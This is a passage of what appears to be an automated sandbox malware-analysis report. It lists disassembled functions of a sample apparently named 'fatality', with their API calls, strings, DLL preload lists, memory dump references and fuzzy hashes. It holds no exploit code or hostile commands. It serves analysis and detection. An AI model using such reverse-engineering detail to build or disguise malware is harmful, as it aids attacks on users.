crypt32.dll, xrefs: 00DF09AF
netutils.dll, xrefs: 00DF0A6C
|<, xrefs: 00DF0C7D, 00DF0C50, 00DF0C8D, 00DF0D31
usp10.dll, xrefs: 00DF093F
setupapi.dll, xrefs: 00DF0987
cryptsp.dll, xrefs: 00DF0B11
WindowsCodecs.dll, xrefs: 00DF0A14
sfc_os.dll, xrefs: 00DF0904
wintrust.dll, xrefs: 00DF09C7
atl.dll, xrefs: 00DF097F
D=, xrefs: 00DF0CB9, 00DF0CC9
shdocvw.dll, xrefs: 00DF09A7
dsrole.dll, xrefs: 00DF0B32
SSPICLI.DLL, xrefs: 00DF090F
userenv.dll, xrefs: 00DF0997
mlang.dll, xrefs: 00DF0A98
samcli.dll, xrefs: 00DF0AA3
imageres.dll, xrefs: 00DF0A40
ws2help.dll, xrefs: 00DF095F
ntshrui.dll, xrefs: 00DF0977
wkscli.dll, xrefs: 00DF0AB9
SetDllDirectoryW, xrefs: 00DF0888
,<, xrefs: 00DF08E7
oleaccrc.dll, xrefs: 00DF09F3
srvcli.dll, xrefs: 00DF0A1F
|<, xrefs: 00DF0B9E, 00DF0BA2
dhcpcsvc6.dll, xrefs: 00DF0AE5
rasadhlp.dll, xrefs: 00DF0ADA
cryptui.dll, xrefs: 00DF09BF
WINNSI.DLL, xrefs: 00DF0A61
psapi.dll, xrefs: 00DF0967
clbcatq.dll, xrefs: 00DF0947
secur32.dll, xrefs: 00DF09DD
comres.dll, xrefs: 00DF094F
netapi32.dll, xrefs: 00DF099F
SetDefaultDllDirectories, xrefs: 00DF08B9
samlib.dll, xrefs: 00DF0AAE

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: AttributesFile_swprintf
String ID: ,<$D=$DXGIDebug.dll$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll$|<$|<
API String ID: 1328629133-1521521131
Opcode ID: 425be3904697bf4e46e69d4f1e8bddd8431adeb45a6a8d53815f5c6a5d83131f
Instruction ID: 4cd7e689a33ae64e9bcac46e5ed6ec9a7c0bd62c8f420d050071334870fb3b12
Opcode Fuzzy Hash: 425be3904697bf4e46e69d4f1e8bddd8431adeb45a6a8d53815f5c6a5d83131f
Instruction Fuzzy Hash: C6B175F0108384AED7309F61984ABDFBAE8EBC5704F51991DF28977251C7B08689CB62

Function 00DFC73F Relevance: 37.2, APIs: 17, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00DFC744

Part of subcall function 00DFAF98: _wcschr.LIBVCRUNTIME ref: 00DFB033

_wcslen.LIBCMT ref: 00DFCA0A
_wcslen.LIBCMT ref: 00DFCA13
SetWindowTextW.USER32(?,?), ref: 00DFCA71
_wcslen.LIBCMT ref: 00DFCAB3
_wcsrchr.LIBVCRUNTIME ref: 00DFCBFB
GetDlgItem.USER32(?,00000066), ref: 00DFCC36
SetWindowTextW.USER32(00000000,?), ref: 00DFCC46
SendMessageW.USER32(00000000,00000143,00000000,00E2A472), ref: 00DFCC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00DFCC7F

Strings

%s.%d.tmp, xrefs: 00DFC940
<br>, xrefs: 00DFC9D4
ProgramFilesDir, xrefs: 00DFCB45
Software\Microsoft\Windows\CurrentVersion, xrefs: 00DFCB1A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$H_prologItem_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3356938749-312220925
Opcode ID: 9dddb2d716ecbed6a9822f1cd09e20cce693710211930ed32c826700dcbf5f37
Instruction ID: 3758063dc0cc76f949cc1aecf77d7a0bc595031bbfc2a091f9d01e9576d6cef8
Opcode Fuzzy Hash: 9dddb2d716ecbed6a9822f1cd09e20cce693710211930ed32c826700dcbf5f37
Instruction Fuzzy Hash: 02E161B290025CAADB24EBA4DD85DFE77BCEB04310F0591A6F749E3041EB749A858F70

Function 00DEDA67 Relevance: 30.4, APIs: 4, Strings: 13, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DEDA70
_wcschr.LIBVCRUNTIME ref: 00DEDA91

Part of subcall function 00DEC29A: _wcslen.LIBCMT ref: 00DEC2A2

Part of subcall function 00DF05DA: _wcslen.LIBCMT ref: 00DF05E0

_wcslen.LIBCMT ref: 00DEDDE9
__fprintf_l.LIBCMT ref: 00DEDF1C

Strings

RTL, xrefs: 00DEDEDE
$%s:, xrefs: 00DEDEFF
*messages***, xrefs: 00DEDBC1
,, xrefs: 00DEDF57
@%s:, xrefs: 00DEDF06, 00DEDF12
, xrefs: 00DEDD6C
DIRECTION, xrefs: 00DEDDDE
STRINGS, xrefs: 00DEDDC9
MENU, xrefs: 00DEDDD7
a, xrefs: 00DEDC16
R, xrefs: 00DEDC0C
DIALOG, xrefs: 00DEDDD0
*messages***, xrefs: 00DEDBFA

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen$H_prolog__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$R$RTL$STRINGS$a
API String ID: 1810648836-2415259559
Opcode ID: c375e3fad638377d3674c5bb1ed0e04353385dafd1e0b701afb90234d2e649ee
Instruction ID: d0e5e39dd412971772d19e72939a2f083582eb85417d9473852580f4317b80a5
Opcode Fuzzy Hash: c375e3fad638377d3674c5bb1ed0e04353385dafd1e0b701afb90234d2e649ee
Instruction Fuzzy Hash: 9532E0719002989BCF24FF69C841AEE77A9FF48700F44411AFA45AB281EBB1DD85CB70

Function 00DFD4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DFB579
Part of subcall function 00DFB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DFB58A
Part of subcall function 00DFB568: IsDialogMessageW.USER32(00010486,?), ref: 00DFB59E
Part of subcall function 00DFB568: TranslateMessage.USER32(?), ref: 00DFB5AC
Part of subcall function 00DFB568: DispatchMessageW.USER32(?), ref: 00DFB5B6

GetDlgItem.USER32(00000068,?), ref: 00DFD4E8
ShowWindow.USER32(00000000,00000005,?,?), ref: 00DFD510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00DFD51B
SendMessageW.USER32(00000000,000000C2,00000000,00E135F4), ref: 00DFD529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DFD53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00DFD559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DFD59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00DFD5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DFD5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DFD5E1
SendMessageW.USER32(00000000,000000C2,00000000,00E143F4), ref: 00DFD5F0

Strings

\, xrefs: 00DFD549

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: a5091c3813f6819e8c32c9cbd5d40bfa29840d5e5900e118bc28a62b1c354bd0
Instruction ID: e9c406cad7029f389f34a82bb9cd8dda02bd6b385547fbe7a3f891a87f8720ee
Opcode Fuzzy Hash: a5091c3813f6819e8c32c9cbd5d40bfa29840d5e5900e118bc28a62b1c354bd0
Instruction Fuzzy Hash: 77310475145346BFE311DF31DC0AFAB7FADEB83708F000608F651A6290DBA48A0A8776

Function 00DFD78F Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00DFD7AE
ShellExecuteExW.SHELL32(?), ref: 00DFD8DE
ShowWindow.USER32(?,00000000), ref: 00DFD91D
ShowWindow.USER32(?,00000001), ref: 00DFD9E1

Strings

.exe, xrefs: 00DFD989
.inf, xrefs: 00DFD89A
Install, xrefs: 00DFD8A9

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ShowWindow$ExecuteShell_wcslen
String ID: .exe$.inf$Install
API String ID: 855908426-1844831949
Opcode ID: aa0e351e02f8c161fbea9c2f1baafc4dc79bbe5ce84c4b3ca7df823c42348582
Instruction ID: a07a8899bc1826f9894ef3374f3e282cafce4097174dd7e5548f0d27ab88c4ed
Opcode Fuzzy Hash: aa0e351e02f8c161fbea9c2f1baafc4dc79bbe5ce84c4b3ca7df823c42348582
Instruction Fuzzy Hash: 3351F5714043889EDB309F65D8447BBBBE7AF81744F0A841EFAC4A7191D7B18989CB72

Function 00DFABAB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00DFABC2
FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00DFABE9
SHAutoComplete.SHLWAPI(?,00000010), ref: 00DFABF9

Strings

EDIT, xrefs: 00DFABCD, 00DFABD8, 00DFABE5
@Ut, xrefs: 00DFABF9

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: AutoClassCompleteFindNameWindow
String ID: @Ut$EDIT
API String ID: 1162832696-2065656831
Opcode ID: b47aca23fa7f529084335535ad285f88fb95a502034bcfa1020a7088af5605d8
Instruction ID: a4b56a49b7f1cdc650390fc1b3f6d9c37d2473f62cb7980feb258b74fd4090a1
Opcode Fuzzy Hash: b47aca23fa7f529084335535ad285f88fb95a502034bcfa1020a7088af5605d8
Instruction Fuzzy Hash: 22F0827660022D7ADB3096699C0AFEB776C9F46B41F4E8112BB09B21C0D760DA46C5B6

Function 00DFF3F4 Relevance: 7.6, APIs: 5, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___scrt_release_startup_lock.LIBCMT ref: 00DFF444
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00DFF458
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00DFF47E
___scrt_uninitialize_crt.LIBCMT ref: 00DFF4C1

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ___scrt_is_nonwritable_in_current_image$___scrt_release_startup_lock___scrt_uninitialize_crt
String ID:
API String ID: 3089971210-0
Opcode ID: 6169013e71a9380d450aec5448d5ce5843a700057700a5c620cc585184c2cee9
Instruction ID: d330ebb97248a62da2dc84ab168752b09d0e39aad2ce51984fc7e676b42fe1eb
Opcode Fuzzy Hash: 6169013e71a9380d450aec5448d5ce5843a700057700a5c620cc585184c2cee9
Instruction Fuzzy Hash: 9531253264835A69CB347F74AC02BBE67A0DF41324F2AC079F7C07B6D2CE6149858674

Function 00DFB568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DFB579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DFB58A
IsDialogMessageW.USER32(00010486,?), ref: 00DFB59E
TranslateMessage.USER32(?), ref: 00DFB5AC
DispatchMessageW.USER32(?), ref: 00DFB5B6

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: d285e7f67771a3c5b50f3426f04c0ce4ce9e617b899385ae33398361285f7e4f
Instruction ID: d085dce0393f91ec1a5a6c587589ff3e008c8bd2ca6d30fc2d3a1cd07349024f
Opcode Fuzzy Hash: d285e7f67771a3c5b50f3426f04c0ce4ce9e617b899385ae33398361285f7e4f
Instruction Fuzzy Hash: 15F0D675A01119AF8B209BF6DC4CDEB7FBCDF063517044515B519E2150EB38D60ACBB0

Function 00DFAC16 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 00DFAC2F
SHGetMalloc.SHELL32(00E28438), ref: 00DFAC70

Strings

3Qo, xrefs: 00DFAC47
riched20.dll, xrefs: 00DFAC1E

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: InitializeMalloc
String ID: riched20.dll$3Qo
API String ID: 48681180-4232643773
Opcode ID: ca3d7288377b5cb58d6efc8b4a6981a06886c3a3ff0a948f0718cb0737dc73e8
Instruction ID: 5395c4371c61b36d8740b72c149b5f4d03726217f58d59a7ce58fff57b688235
Opcode Fuzzy Hash: ca3d7288377b5cb58d6efc8b4a6981a06886c3a3ff0a948f0718cb0737dc73e8
Instruction Fuzzy Hash: B9F049B5D00209AFCB10AFAAD8499EFFFFCEF85700F10411AA811B2241CBB456068BA1

Function 00E0A95B Relevance: 4.7, APIs: 3, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00E0AB42
__freea.LIBCMT ref: 00E0AB4B
__freea.LIBCMT ref: 00E0AB70

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: __freea
String ID:
API String ID: 240046367-0
Opcode ID: 620c75e97aab78e2a1e8f99cd7aea7a0e8b7e2c548b4370d936d7512a1e5af93
Instruction ID: 6166572de8085323cbfab969783c20a912fc25e7a5ca57c8b94a5c6ca97a8286
Opcode Fuzzy Hash: 620c75e97aab78e2a1e8f99cd7aea7a0e8b7e2c548b4370d936d7512a1e5af93
Instruction Fuzzy Hash: 3151A17261031AAFDB258E64CC41EBBB7AAEB44754B195639FD04F61C0DB34DCD0CA91

Function 00DFA6C2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00DFA762

Part of subcall function 00DFA626: 73516BB0.GDIPLUS(00000010), ref: 00DFA62C

Strings

PNG, xrefs: 00DFA6C6

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

